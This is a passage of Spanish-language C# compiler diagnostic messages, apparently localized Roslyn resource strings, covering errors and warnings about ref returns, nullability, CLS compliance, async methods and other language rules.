/keyfile o /keycontainer o con el nombre del archivo de clave o con el contenedor de claves especificados en las propiedades del proyecto. + Esta advertencia indica que un atributo, como InternalsVisibleToAttribute, no se especificó correctamente. + puntero + La declaración de una variable por referencia debe tener un inicializador. + 'MethodImplOptions.Synchronized' no se puede aplicar a un método asincrónico + No se pude devolver por referencia un parámetro '{0}' porque no es de tipo ref. + "{0}" no es un modificador de tipo de valor devuelto de puntero de función válido. Los modificadores válidos son "ref" y "ref readonly". + No se puede pasar el argumento {0} con la palabra clave 'ref' en la versión de idioma {1}. Para pasar argumentos "ref" a parámetros "in", actualice a la versión de idioma {2} o posterior. + Creación de objeto no válida + El parámetro debe tener un valor que no sea NULL al salir porque el parámetro al que NotNullIfNotNull hace referencia no es NULL. + Los elementos definidos en un espacio de nombres no se pueden declarar explícitamente como private, protected, protected internal o private protected. + Uno de los parámetros de un operador binario debe ser el tipo contenedor o su parámetro de tipo restringido a él. + La opción /moduleassemblyname únicamente se puede especificar cuando cree un tipo de destino de 'module' + La nulabilidad de los tipos de referencia del tipo de valor devuelto de "{0}" no coincide con el delegado de destino "{1}" (posiblemente debido a los atributos de nulabilidad). + El parámetro de tipo '{0}' hereda las restricciones conflictivas '{1}' y '{2}' + El identificador de recurso '{0}' ya se ha usado en este ensamblado + El valor de parámetro predeterminado para '{0}' debe ser una constante en tiempo de compilación + El programa no contiene ningún método 'Main' estático adecuado para un punto de entrada + No se puede devolver el parámetro de constructor principal '{0}' por referencia. + El miembro del registro "{0}" no puede ser estático. + Este error se produce cuando un tipo de sistema predefinido como System.Int32 se encuentra en dos ensamblajes. Una forma de que esto suceda es si hace referencia a mscorlib o System.Runtime.dll desde dos lugares diferentes, como si intentase ejecutar dos versiones de .NET Framework en paralelo. + No se puede devolver por referencia un miembro de '{0}' porque se inicializó con un valor que no se puede devolver por referencia. + '{0}' no puede ocultar el miembro requerido '{1}'. + Los métodos con argumentos de variable no son conformes a CLS + Use Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal para crear tokens literales numéricos. + Ambas declaraciones de método parcial deben ser estáticas o ninguna de ellas puede ser estática + '{0}' no es el tipo de referencia que requiere la instrucción lock + "{0}" no implementa el patrón "{1}". "{2}" no es un método de extensión o instancia pública. + Una instrucción foreach asincrónica no puede funcionar en variables de tipo “{0}” porque implementa varias creaciones de instancias de “{1}”; pruebe a convertirla en una creación de una instancia de interfaz específica. + El campo ref debe asignarse a ref antes de usarlo. + No se puede devolver un campo estático de solo lectura por referencia grabable. + Una instrucción foreach asincrónica no puede funcionar en variables de tipo "{0}" porque "{0}" no contiene ninguna definición de extensión o instancia pública para "{1}". ¿Quiso decir “foreach” en lugar de “await foreach”? + Un operador de conversión 'implicit' definido por el usuario no se puede declarar como comprobado + Las interfaces conformes a CLS solo pueden contener miembros conformes a CLS + Los módulos agregados se deben marcar con el atributo CLSCompliant para que coincidan con el ensamblado + '{0}': un parámetro o una variable o función local no pueden tener el mismo nombre que un parámetro de tipo de método + El tipo de retorno no es conforme a CLS + Error al abrir el archivo de icono {0}: {1} + “{0}” no puede implementar el miembro de interfaz “{1}” en el tipo “{2}” porque tiene un parámetro __arglist + El ensamblado que se ha cargado hace referencia a .NET Framework, lo cual no se admite. + Esta combinación de argumentos para "{0}" puede exponer variables a las que el parámetro "{1}" hace referencia fuera de su ámbito de declaración + No se puede inferir el tipo de variable de desconstrucción con tipo implícito '{0}'. + No se puede usar el miembro en este atributo. + Las restricciones para métodos de invalidación y de implementación de interfaz explícita se heredan del método base; por tanto, no se pueden especificar directamente, excepto para una restricción de tipo "class" o "struct". + Se ha especificado un nombre de archivo no válido para la directiva de preprocesador + El parámetro de constructor principal de struct '{0}' de tipo '{1}' provoca un ciclo en el diseño de struct + '{0}' se define en el ensamblado '{1}'. + El carácter '{0}' se debe escapar (duplicándose) en las cadenas interpoladas. + Convirtiendo el grupo de métodos '{0}' al tipo no delegado '{1}'. ¿Pretendía invocar el método? + método de extensión + La expresión no tiene un nombre. + El interceptor debe tener un parámetro "this" que coincida con el parámetro '{0}' en '{1}'. + Error inesperado al escribir la información de depuración: '{0}' + Compilación (C#): + El tipo no es conforme a CLS + No se puede convertir en el tipo estático '{0}' + EL tipo no tiene constructores accesibles que solo usen tipos conforme a CLS + Se devuelve un miembro por referencia, pero se inicializó en un valor que no se puede devolver por referencia + '{0}' no se puede marcar como conforme a CLS porque es miembro del tipo '{1}' no conforme a CLS + La expresión de filtro es una constante "false", considere quitar la cláusula catch + tipos anónimos + La constante '{0}' no se puede marcar como estática + La propiedad o el indizador '{0}' no se puede usar en este contexto porque carece del descriptor de acceso get + Las propiedades de instancia implementadas automáticamente en estructuras readonly deben ser readonly. + Se esperaba un tipo de valor devuelto genérico similar a una tarea, pero el tipo "{0}" encontrado en el atributo "AsyncMethodBuilder" no era adecuado. Debe ser un tipo genérico independiente de aridad uno y su tipo contenedor (si existe) debe ser no genérico. + Las propiedades de la instancia en las interfaces no pueden tener inicializadores. + La versión de lenguaje especificada "{0}" no puede tener ceros al principio + No se puede atribuir el inicializador de módulo con "UnmanagedCallersOnly". + Error al abrir el archivo de respuesta '{0}' + El mejor método Add sobrecargado para el elemento inicializador de la colección está obsoleto + La nulabilidad de los tipos de referencia del tipo de parámetro no coincide con el delegado de destino (posiblemente debido a los atributos de nulabilidad). + ToString sellado en el registro + Incoherencia de accesibilidad: el tipo de valor devuelto '{1}' es menos accesible que el operador '{0}' + Alias externo sin usar. + No se permite la referencia a una variable out con tipo implícito '{0}' en la misma lista de argumentos. + Falta el modificador parcial en la declaración de tipo '{0}'; existe otra declaración parcial de este tipo + No se puede convertir la expresión a '{0}' porque no es una variable asignable + '{0}': no se puede invalidar porque '{1}' no tiene un descriptor de acceso set invalidable + Falta un patrón. + El alias externo '{0}' no se especificó en una opción /reference + '{0}' no es una ubicación de atributo reconocida. Las ubicaciones de atributo para esta declaración son '{1}'. Todos los atributos de este bloque se omitirán. + __arglist no puede tener un argumento de tipo void + El parámetro {0} se debe declarar con la palabra clave '{1}' + La interfaz '{0}' tiene una interfaz de origen no válida necesaria para incrustar el evento '{1}'. + La mejor coincidencia de método sobrecargado '{0}' para el elemento inicializador de la colección no se puede usar. Los métodos 'Add' inicializadores de colección no pueden tener parámetros out ni ref. + Este tipo se incluye solo con fines de evaluación y está sujeto a cambios o a que se elimine en próximas actualizaciones. + El operador ''&'' no debe usarse en parámetros o variables locales en métodos asincrónicos. + '{0}': no se encontró ningún miembro adecuado para invalidar + <lista de rutas de acceso> + Los miembros de '{0}' no se pueden modificar porque es un '{1}' + '{0}': solo los miembros conformes a CLS pueden ser abstractos + Directiva Using innecesaria + No se puede vincular archivos de recursos al compilar un módulo + <espacio de nombres global> + Dependencia de restricción circular que implica '{0}' y '{1}' + '{0}' define el operador == o el operador != pero no invalida Object.GetHashCode() + Versiones de lenguaje admitidas: + El nombre "_" hace referencia a la constante, no al patrón de descarte. Use "var _" para descartar el valor o "@_" para hacer referencia a una constante con ese nombre. + Uno de los parámetros de un operador binario debe ser el tipo contenedor + '{0}' no implementa '{1}' + No se puede obtener acceso al miembro protegido '{0}' a través de un calificador del tipo '{1}'; el calificador debe ser del tipo '{2}' (o derivado de este) + No se permiten literales de cadena sin formato en las directivas de preprocesador. + Falta el miembro '{0}.{1}' que requiere el compilador + En este contexto no se permiten atributos de ensamblado y módulo + Se esperaba un comentario de una línea o un fin de línea + El miembro no oculta un miembro heredado. No se necesita una nueva palabra clave + El tipo de generador CollectionBuilderAttribute debe ser una clase o un struct no genéricos. + Las estructuras sin constructores explícitos no pueden contener miembros con inicializadores. + '{0}': las clases estáticas no se pueden usar como restricciones + El tipo de valor devuelto de un método asincrónico debe ser void, Task, Task<T>, una variante del tipo Task, IAsyncEnumerable<T> o IAsyncEnumerator<T>. + El comentario XML tiene un atributo cref '{0}' que no se pudo resolver + No se encuentra el nombre de tipo '{0}' en el espacio de nombres '{1}'. Este tipo se ha reenviado al ensamblado '{2}'. Puede agregar una referencia a ese ensamblado. + El método "{0}" especifica una restricción "class" para el parámetro de tipo "{1}", pero el parámetro de tipo correspondiente "{2}" de los métodos invalidados o implementados explícitamente "{3}" no es un tipo de referencia. + Foreach no puede funcionar en un '{0}'. ¿Intentó invocar el '{0}'? + Una referencia a un campo volátil no se tratará como volátil + El acceso a un miembro en un campo de una clase de serialización por referencia puede causar una excepción en tiempo de ejecución. + El campo no puede tener un tipo void + No se puede interceptar el posible nombre de método '{0}' porque no se está invocando. + El tipo de base no es conforme a CLS + Los miembros del parámetro de constructor principal '{0}' de un tipo de solo lectura no se pueden modificar (excepto en el establecedor de solo inicialización del tipo o un inicializador de variable) + Los métodos de extensión deben definirse en una clase estática de nivel superior; {0} es una clase anidada + El lenguaje no admite la convención de llamada de "{0}". + El módulo '{0}' ya está definido en este ensamblado. Cada módulo debe tener un nombre de archivo único. + Los atributos no son válidos en este contexto. + búferes de tamaño fijo + El punto y coma después del bloque de métodos o de descriptores de acceso no es válido + Los miembros de {0} "{1}" no se pueden usar como valor out o ref porque es una variable readonly. + El operador definido por el usuario '{0}' no se puede declarar como comprobado + Si se incrusta el tipo de interoperabilidad '{0}' desde el ensamblado '{1}', se producirá un conflicto de nombre en el ensamblado actual. Puede establecer la propiedad 'Incrustar tipos de interoperabilidad' en false. + Los métodos con argumentos de variable no son conformes a CLS + '{0}': los modificadores de accesibilidad de los descriptores de acceso solo se pueden usar si la propiedad o el indizador tienen un descriptor de acceso get y set + No se puede definir una clase o un miembro que use 'dynamic', porque no se encuentra el tipo '{0}' requerido por el compilador. ¿Falta alguna referencia? + El modificador 'abstract' no es válido en los campos. Pruebe a usar una propiedad en su lugar. + Un constructor de copia "{0}" debe ser público o estar protegido porque el registro no está sellado. + activar tipo booleano + El resultado de la expresión siempre es 'NULL' de tipo '{0}' + La nulabilidad de los tipos de referencia del tipo de parámetro"{0}" no coincide con la declaración de método parcial. + El atributo CLSCompliant no tiene ningún significado cuando se aplica tipos de retorno + No se puede convertir {0} en el tipo delegado indicado porque algunos de los tipos de valores devueltos del bloque no se pueden convertir implícitamente en el tipo de valor devuelto del delegado + Falta el comentario XML para el tipo o miembro visible de forma pública '{0}' + El miembro '{0}' implementa el miembro de interfaz '{1}' en el tipo '{2}'. Hay varias coincidencias para el miembro de interfaz en tiempo de ejecución. El método que se llamará depende de la implementación. + El compilador emite esta advertencia cuando reemplaza un error con una advertencia. Para obtener información sobre el problema, busque el código de error mencionado. + variable using + La restricción new() debe ser la última restricción especificada + '{0}' ya se muestra en la lista de interfaces en el tipo '{2}' con nombres de elementos de tupla diferentes, como '{1}'. + El argumento de tipo "{0}" no se puede usar como salida de tipo "{1}" para el parámetro "{2}" en "{3}" debido a las diferencias en la nulabilidad de los tipos de referencia. + campos de referencia + El campo '{0}' nunca se asigna y siempre tendrá el valor predeterminado {1} + La referencia de ensamblado de confianza '{0}' no es válida. Los ensamblados firmados con nombre seguro deben especificar una clave pública en sus declaraciones InternalsVisibleTo. + El tipo no es conforme a CLS porque la interfaz base no es conforme a CLS + El tipo '{1}' ya define un miembro denominado '{0}' con los mismos tipos de parámetro + <!-- Badly formed XML comment ignored for member "{0}" --> + La estructura de matriz insertada no debe tener un diseño explícito. + No se puede convertir el bloque de método anónimo sin una lista de parámetros en el tipo delegado '{0}' porque tiene uno o varios parámetros out + La nulabilidad del tipo de parámetro "{0}" no coincide con el miembro invalidado (posiblemente debido a los atributos de nulabilidad). + El atributo '{0}' solo es válido en métodos o clases de atributos + La longitud de la matriz insertada debe ser mayor que 0. + La palabra clave 'void' no se puede usar en este contexto + La expresión switch no controla algunas entradas NULL (no es exhaustiva). Por ejemplo, no se cubre el patrón "{0}". Sin embargo, un patrón con una cláusula "when" puede coincidir correctamente con este valor. + La característica de lenguaje "Matrices insertadas" no se admite para tipos de matriz en línea con un campo de elemento que sea un campo "ref" o que tenga un tipo que no sea válido como argumento de tipo. + El espacio de nombres '{1}' ya contiene una definición para '{0}' + elementos: no pueden estar vacíos + funciones locales extern + Se esperaba un identificador o un literal numérico. + El comentario XML de '{1}' tiene una etiqueta paramref para '{0}', pero no hay ningún parámetro con ese nombre + Se esperaba un operador unario sobrecargable + Esto devuelve por referencia un miembro del parámetro "{0}" que no es un parámetro out o ref + No se pueden buscar miembros no virtuales en '{0}' porque es un parámetro de tipo + El subpatrón de una propiedad requiere una referencia a la propiedad o al campo que debe coincidir; por ejemplo, "{{ Name: {0} }}" + El nombre de archivo '{0}' almacenado en '{1}' debe coincidir con su nombre de archivo. + No se puede convertir un literal NULL en un tipo de referencia que no acepta valores NULL. + Si se utiliza '{0}' como valor out o ref, o se acepta su dirección, se puede producir una excepción en tiempo de ejecución porque es un campo de una clase de serialización por referencia. + La cadena de versión especificada ''{0}'' no se ajusta al formato recomendado: major.minor.build.revision + Esto devuelve un miembro del parámetro por referencia que no es un parámetro out o ref + '{0}': los elementos de matriz no pueden ser de tipo estático + constructor + SyntaxTree no forma parte de la compilación, así que no se puede quitar + No se puede determinar el tipo de la expresión condicional porque no hay una conversión implícita entre '{0}' y '{1}' + No se puede asignar a '{0}' porque es '{1}' + El evento '{0}' solo puede aparecer a la izquierda de += o -= (excepto cuando se usa desde dentro del tipo '{1}') + La propiedad o el indizador '{0}' no se pueden usar en este contexto porque el descriptor de acceso set es inaccesible + El modificador 'scoped' del parámetro '{0}' no coincide con el '{1}' de destino. + {0} no es una expresión de conversión de C# válida. + El argumento con nombre '{0}' especifica un parámetro para el que ya se ha proporcionado un argumento posicional + No se puede convertir el grupo de métodos '{0}' en el tipo no delegado '{1}'. ¿Intentó invocar el método? + Se omitirá /win32manifest para el módulo porque solo se aplica a ensamblados + "foreach" requiere que el tipo de valor devuelto "{0}" de "{1}" tenga un método "MoveNext" público y una propiedad "Current" pública adecuados. + (Ubicación del símbolo relacionado con la advertencia anterior) + Los inicializadores de matriz solo se pueden utilizar en un inicializador de variable o campo. Pruebe a usar una expresión new en su lugar. + <NULL> + <texto> + restricciones de parámetros de tipo predeterminado + Referencia no coincidente entre "{0}" y el delegado "{1}" + '{0}': no se puede invalidar porque '{1}' no es una función + variable local con tipo implícito + El miembro de registro '{0}' debe ser una propiedad de instancia legible o un campo de tipo '{1}' para coincidir con el parámetro posicional '{2}'. + "{0}" no puede implementar el miembro de interfaz "{1}" en el tipo "{2}" porque el entorno de ejecución de destino no admite la implementación de interfaz predeterminada. + La estructura de matriz insertada debe declarar solo un campo de instancia. + El tipo '{0}' predefinido debe ser un elemento struct. + Un acceso de matriz insertado no puede tener un especificador de argumento con nombre + matriz con tipo implícito + Use Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier o Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier para crear tokens de identificador. + La palabra clave \"delegate\" no se puede usar como restricción. ¿Quería decir \"System.Delegate\"? + "{0}": el tipo usado en una instrucción using debe poder convertirse implícitamente en "System.IDisposable". + Posible comparación de referencias no intencionada; para obtener una comparación de valores, convierta el lado de la izquierda en el tipo '{0}' + Especificador de rango no válido: se esperaba ',' o ']' + Ya se ha definido el descriptor de acceso de la propiedad + Una variable con tipo implícito no se puede inicializar con un inicializador de matriz + Nueva línea en constante + Se esperaban "advertencias", "anotaciones" o el final de la directiva + No se puede crear una instancia de analizador + El cuerpo de '{0}' no puede ser un bloque de iteradores porque '{1}' no es un tipo de interfaz de iteradores + La expresión que se asigne a '{0}' debe ser constante + El tamaño de la matriz no se puede especificar en una declaración de variable (intente inicializar con una expresión 'new') + La expresión de filtro es una constante "false". + '{0}': un evento abstracto no puede tener inicializador + Se han importado varios ensamblados con identidad equivalente: '{0}' y '{1}'. Quite una de las referencias duplicadas. + "{0}": el tipo usado en una instrucción using debe poder convertirse implícitamente en "System.IDisposable". ¿Quiso decir "await using" en lugar de "using"? + El tipo '{1}' de '{0}' está en conflicto con el espacio de nombres '{3}' de '{2}' + La entrada coincide siempre con el patrón proporcionado. + El parámetro '{0}' se captura en el estado del tipo envolvente y su valor también se usa para inicializar un campo, propiedad o evento. + El atributo CallerLineNumberAttribute no tendrá efecto porque se aplica a un miembro que se utiliza en contextos que no permiten argumentos opcionales + Se esperaba un tipo + La posición debe estar dentro del intervalo del árbol de sintaxis. + inicializadores de módulos + Un árbol de expresión no puede contener un inicializador de matriz multidimensional + El entorno de ejecución de destino no admite convenciones de llamada predeterminadas de entorno en tiempo de ejecución o extensible. + El argumento InterpolatedStringHandlerArgument no tiene ningún efecto cuando se aplica a parámetros lambda y se omitirá en el sitio de llamada. + Las interfaces no pueden incluir campos de instancia + No se puede devolver '{0}' por referencia porque se inicializó con un valor que no se puede devolver por referencia. + Una directiva de uso global debe ser anterior a todas las directivas no globales que no son de uso. + Uso inesperado de un nombre con alias + Una matriz de parámetros no se puede usar con el modificador 'this' en un método de extensión + La llamada al método '{0}' debe enviarse de forma dinámica, pero no se puede porque forma parte de una expresión de acceso base. Puede convertir los argumentos dinámicos o eliminar el acceso base. + Una propiedad implementada automáticamente debe estar totalmente asignada antes de que el control se devuelva al autor de la llamada. Considere la posibilidad de actualizar la versión de idioma para establecer automáticamente el valor predeterminado de la propiedad. + "{0}": un tipo no puede ser estático y sellado + Las declaraciones parciales de '{0}' deben ser todas las clases, todas las clases de registro, todos los registros, todos los registros o todas las interfaces + extensión GetEnumerator + El nombre de tipo '{0}' solo contiene caracteres ASCII en minúsculas. Estos nombres pueden quedar reservados para el idioma. + El campo '{0}' conforme a CLS no puede ser volátil + Esta versión de '{0}' no se puede usar con expresiones de colección. + Se esperaba la palabra clave contextual 'equals' + 'Ya no se admite la sintaxis 'id#'. En su lugar, use '$id'. + La línea y el número de carácter proporcionados no hacen referencia al inicio del token '{0}'. ¿Quería usar la línea '{1}' y el carácter '{2}'? + El punto de entrada del programa es código global; se ignora el punto de entrada. + La nulabilidad de los tipos de referencia del tipo de parámetro"{0}" de "{1}" no coincide con el miembro "{2}" implementado de forma implícita. + Nunca se usa el campo + El objeto '{0}' se puede desechar más de una vez. + Un árbol de expresión no puede contener un operador de tupla == o !=. + "{0}" no implementa el miembro de interfaz "{1}". "{2}" no puede implementar "{1}" porque no tiene un tipo de valor devuelto coincidente por referencia. + No se puede usar "{0}" como modificador en un parámetro de puntero de función. + Solo se puede tener acceso a los búferes de tamaño fijo mediante variables locales o campos + El comentario XML de '{1}' tiene una etiqueta typeparamref para '{0}', pero no hay ningún parámetro con ese nombre + Uno de los parámetros de un operador de igualdad o desigualdad declarado en la interfaz '{0}' debe ser un parámetro de tipo en '{0}' restringido a '{0}' + literales de cadena sin formato + expresión condicional con tipo de destino + invalidación del generador de métodos asincrónicos + Entre los atributos cref, los tipos anidados de tipos genéricos deberían ser cualificados + Un árbol de expresión no puede contener una especificación de argumento con nombre + Tipo de destino no válido para /target: se debe especificar 'exe', 'winexe', 'library' o 'module' + No se puede asignar un campo de solo lectura estático (excepto en un constructor estático o inicializador de variable) + No se puede obtener acceso al miembro '{0}' con una referencia de instancia; califíquelo con un nombre de tipo en su lugar + Posiblemente una asignación incorrecta a local, que es el argumento a una instrucción using o lock + El miembro requerido '{0}' no se debe atribuir con 'ObsoleteAttribute' a menos que el tipo contenedor esté obsoleto o todos los constructores estén obsoletos. + Una función anónima estática no puede contener una referencia a "{0}". + El control no puede salir del texto de una cláusula finally + El parámetro '{0}' se captura en el estado del tipo envolvente y su valor también se pasa al constructor base. La clase base también puede capturar el valor. + El nodo de sintaxis no está dentro del árbol de sintaxis + Las devoluciones por referencia solo se pueden usar en métodos que devuelven datos por referencia. + Posible tipo de valor devuelto de referencia nulo + El tipo "{3}" no se puede usar como parámetro de tipo "{2}" en el tipo o método genérico "{0}". La nulabilidad del argumento de tipo "{3}" no coincide con el tipo de restricción "{1}". + La expresión dada coincide siempre con el patrón proporcionado. + El tipo '{0}' no se puede declarar como const + No comparar los valores de los punteros de función + Los métodos asincrónicos no pueden tener parámetros ref, in ni out + El control no puede quedar fuera del modificador de la etiqueta de caso final ('{0}') + La directiva using para '{0}' aparece previamente en este espacio de nombres + El idioma no admite la propiedad, el indizador o el evento '{0}'; intente llamar directamente al método del descriptor de acceso '{1}' + El idioma no admite la propiedad, el indizador o el evento '{0}'; intente llamar directamente a los métodos del descriptor de acceso '{1}' o '{2}' + '{0}': no se permiten conversiones definidas por el usuario ni a una interfaz ni desde ella + No use refout si utiliza refonly. + No se puede usar el parámetro ref, out o in "{0}" dentro de un método anónimo, una expresión lambda, una expresión de consulta o una función local + El resultado de la expresión siempre es 'null' + No se pudo emitir el módulo "{0}": {1} + expresión throw + El método '{0}' no puede implementar el descriptor de acceso de la interfaz '{1}' para el tipo '{2}'. Use una implementación de interfaz explícita. + atributos de función local + El alias '{0}' entra en conflicto con {1} definición + '{0}' no contiene una definición para '{1}' + La constante integral es demasiado extensa + No se encontró el archivo. + No se permite una declaración en este contexto. + Un punto de entrada de devolución void o int no puede ser asincrónico + El comentario XML tiene una etiqueta typeparamref, pero no hay ningún parámetro de tipo con ese nombre + El nombre local es demasiado largo para PDB + El atributo Guid se debe especificar con el atributo ComImport + La nulabilidad de los tipos de referencia del tipo de parámetro"{0}" no coincide con el miembro reemplazado. + No se puede proporcionar un valor en el cuerpo de un bloque try con una cláusula catch + La implementación de la interfaz explícita coincide con más de un miembro de la interfaz + No se puede especificar /main si se compila un módulo o una biblioteca + No se puede usar una colección de tipo dinámico en una instrucción foreach asincrónica. + La nulabilidad de los tipos de referencia en el tipo de valor devuelto no coincide con el miembro implementado de forma implícita + Este tipo se incluye solo con fines de evaluación y está sujeto a cambios o a que se elimine en próximas actualizaciones. Suprima este diagnóstico para continuar. + función anónima estática + El argumento {0} debe pasarse con la palabra clave 'ref' o 'in' + No se permiten expresiones de tipo '{0}' en una cláusula from siguiente incluida en una expresión de consulta con el tipo de origen '{1}'. No se pudo realizar la inferencia de tipos en la llamada a '{2}'. + operador de propagación nulo + Los ensamblados '{0}' y '{1}' hacen referencia a los mismos metadatos, pero solo uno es una referencia vinculada (especificada con la opción /link): puede quitar una de las referencias. + valores devueltos de covariante + covariante + Lista de argumentos inesperada. + No se permiten los miembros denominados "Clone" en los registros. + Los campos de búfer de tamaño fijo solo pueden ser miembros de estructuras + Un árbol de expresión no puede contener una conversión de tupla. + La línea no comienza con el mismo espacio en blanco que la línea de cierre del literal de cadena sin formato. + miembros abstractos estáticos en interfaces + No se puede leer el archivo de configuración '{0}': '{1}' + La invocación del indizador de índices implícito no puede nombrar el argumento. + Las expresiones lambda asincrónicas no se pueden convertir en árboles de expresión + El parámetro de tipo '{1}' tiene la restricción 'struct'; por tanto, '{1}' no se puede usar como restricción para '{0}' + miembro de instancia en 'nameof' + El tipo predefinido '{0}' no está definido ni importado + La operación puede desbordar '{0}' en tiempo de ejecución (use la sintaxis "sin activar" para invalidar) + No se puede usar un posible valor null para un tipo marcado con [NotNull] o [DisallowNull] + El descriptor de acceso "init" no es válido en miembros estáticos + El argumento de tipo no puede ser NULL + La declaración de un alias externo debe preceder a los demás elementos definidos en el espacio de nombres + Opción "{0}" no válida para /platform; debe ser anycpu, x86, Itanium, arm, arm64 o x64 + El argumento pasado al atributo '{0}' debe ser un identificador válido + variables for-loop de referencias + El CallerMemberNameAttribute aplicado al parámetro '{0}' no tendrá efecto. Lo invalida el CallerFilePathAttribute. + Solo se puede tener acceso a los elementos de un tipo de matriz insertada con un único argumento que se pueda convertir implícitamente en "int", "System.Index" o "System.Range". + Incoherencia de accesibilidad: el tipo de valor devuelto '{1}' es menos accesible que el delegado '{0}' + El atributo de seguridad '{0}' no se puede aplicar a un método Async. + Los atributos de módulo y ensamblado deben ir delante de los demás elementos definidos en un archivo, excepto las cláusulas using y las declaraciones de alias externos + El tipo no se puede usar en este contexto porque no se puede representar en metadatos. + Se creó una referencia para el ensamblaje de interoperabilidad incrustado debido a una referencia al ensamblaje indirecta + El miembro de estructura devuelve "this" u otros miembros de instancia por referencia + El tipo '{0}' sin administrar solo es válido para los campos. + No se pudo determinar el directorio de salida. + Los literales de cadena sin formato de varias líneas deben contener al menos una línea de contenido. + El segundo operando de un operador 'is' o 'as' no puede ser el tipo estático '{0}' + El operador unario sobrecargado '{0}' toma un parámetro + El tipo '{0}' no seguro no se puede usar para crear un objeto + Los números de línea y carácter proporcionados a InterceptsLocationAttribute deben ser positivos. + La expresión switch aplicable requiere paréntesis. + Uso del parámetro out sin asignar '{0}' + contravariante + El parámetro '{0}' no está leído. + El atributo Conditional no es válido en miembros de interfaz + No se puede modificar el resultado de una conversión unboxing + ref y out no son válidos en este contexto + La etiqueta final '{0}' no coincide con la etiqueta de inicio '{1}'. + El lado derecho de una asignación de instrucción "fixed" no puede ser una expresión de conversión + métodos de extensión ref + Los miembros del campo de solo lectura '{0}' no se pueden modificar (excepto en un constructor o inicializador de variable) + Suponiendo que la referencia del ensamblado '{0}' usada por '{1}' coincide con la identidad '{2}' de '{3}', puede que necesite proporcionar la directiva en tiempo de ejecución + Los tipos de tupla utilizados como operandos de un operador == o != deben tener cardinalidades coincidentes. Pero este operador tiene tipos de tupla de cardinalidad {0} a la izquierda y {1} a la derecha. + El valor '{0}' de SecurityAction no es válido para los atributos de seguridad aplicados a un ensamblado + "{0}" no invalida el método esperado de "object". + La variable de rango '{0}' entra en conflicto con una declaración anterior de '{0}' + extensión GetAsyncEnumerator + "{2}" debe ser un tipo de valor que no acepta valores NULL, junto con todos los campos de cualquier nivel de anidamiento, para poder usarlo como parámetro "{1}" en el tipo o método genérico "{0}" + El nombre del tipo o del espacio de nombres '{0}' no se encontró (¿falta una directiva using o una referencia de ensamblado?) + Se esperaba la palabra clave contextual 'on' + Se esperaba la palabra clave contextual 'by' + El tipo '{3}' no se puede usar como parámetro de tipo '{2}' en el tipo o método genérico '{0}'. No hay conversión boxing de '{3}' a '{1}'. + Un método de extensión debe ser estático + Tipo de valor devuelto no válido en el atributo cref del comentario XML + '{0}' está obsoleto: '{1}' + El ensamblado {0} no contiene ningún analizador. + El cuerpo de un método async-iterator debe contener una instrucción "yield". + de forma covariante + Se creó una referencia al ensamblado de interoperabilidad '{0}' incrustado debido a una referencia indirecta a ese ensamblado creado por el ensamblado '{1}'. Puede cambiar la propiedad 'Incrustar tipos de interoperabilidad' en cualquiera de los ensamblados. + El archivo de código fuente ha superado el límite de 16.707.565 líneas representables en el PDB. La información de depuración no será correcta. + colección + No use 'System.Runtime.CompilerServices.DynamicAttribute'. Use la palabra clave 'dynamic' en su lugar. + '{0}' no se puede marcar como conforme a CLS porque el ensamblado no tiene ningún atributo CLSCompliant + No se puede asignar la referencia "{1}" a "{0}", porque "{1}" solo puede escapar del método actual mediante una instrucción "return". + La versión de lenguaje proporcionada no se admite o no es válida: "{0}". + Se esperaba una instrucción de expresión o de declaración. + El modificador 'scoped' del parámetro '{0}' no coincide con la declaración de método parcial. + No se puede asignar a la propiedad o el indizador '{0}' porque es de solo lectura + El tipo de valor devuelto de un puntero de método, delegado o función no puede ser "{0}". + Se esperaba un identificador o un acceso de miembro simple. + Esto devuelve por referencia "{0}" de la variable local, pero no es una variable local de tipo ref + Referencia del analizador especificada varias veces + Las declaraciones de métodos parciales tienen una nulabilidad incoherente de las restricciones para el parámetro de tipo + Incoherencia de accesibilidad: el tipo de campo '{1}' es menos accesible que el campo '{0}' + La opción /pdb requiere que se use también la opción /debug + 'La expresión dada de la expresión "is" siempre tiene el tipo provisto + No se puede usar una directiva global mediante una declaración de espacio de nombres. + #pragma + El tipo "{0}" debe ser público para poder usarlo como convención de llamada. + El miembro requerido '{0}' debe ser configurable. + Los recursos y módulos vinculados deben tener un nombre de archivo único. El nombre de archivo '{0}' se ha especificado más de una vez en este ensamblado + Llame a System.IDisposable.Dispose() en una instancia asignada antes de que todas sus referencias estén fuera de ámbito + No se pueden especificar modificadores "readonly" en ambos descriptores de acceso de la propiedad o del indizador "{0}". En su lugar, coloque un modificador "readonly" en la propiedad. + descriptor de acceso obsoleto en propiedad + El método de control de cadenas interpoladas "{0}" tiene un tipo de valor devuelto incoherente. Se espera que devuelva "{1}". + Una expresión lambda de árbol de expresión no puede contener una llamada COM con ref omitido en argumentos + El parámetro params no se puede declarar como {0}. + En una instrucción foreach se requieren un tipo y un identificador + Argumento {0}: no se puede convertir de '{1}' a '{2}' + Las especificaciones de argumento con nombre deben aparecer después de haber especificado todos los argumentos fijos. Use la versión {0} del lenguaje, o una posterior, para permitir argumentos con nombre que no sean finales. + La cadena debe comenzar con las comillas: " + Las restricciones para el parámetro de tipo '{0} del método '{1} deben coincidir con las restricciones del parámetro de tipo '{2} del método de interfaz '{3}. Si lo prefiere, puede usar una implementación de interfaz explícita. + No se puede devolver por referencia la variable de rango '{0}'. + La nulabilidad de los tipos de referencia del tipo no coincide con el miembro implementado "{0}". + No puede aparecer código no seguro en iteradores + Un interceptor no se puede marcar con 'UnmanagedCallersOnlyAttribute'. + El operador typeof no se puede usar en un tipo de referencia que acepta valores NULL + La construcción __arglist solo es válida dentro de un método de argumento de variable + No se puede determinar el tipo de expresión condicional porque '{0}' y '{1}' se convierten implícitamente uno en el otro + No se puede usar un posible valor null para un tipo marcado con [NotNull] o [DisallowNull] + controladores de cadena interpolada + '"new" no se puede usar con un tipo de tupla. Use una expresión literal de tupla en su lugar. + Token inesperado '{0}' + La expresión debe ser de tipo "{0}" para que coincida con el valor ref alternativo. + No se puede usar la variable local ni la función local "{0}" declarada en una instrucción de nivel superior en este contexto. + '{0}': no puede derivar del tipo sellado '{1}' + El modificador 'ref' del argumento {0} correspondiente al parámetro 'in' equivale a 'in'. Considere la posibilidad de usar "in" en su lugar. + stackalloc en expresiones anidadas + El punto de entrada de depuración debe ser una definición de un método declarado en la compilación actual. + No hay un orden específico entre los campos en declaraciones múltiples de la estructura parcial + Suponiendo que la referencia del 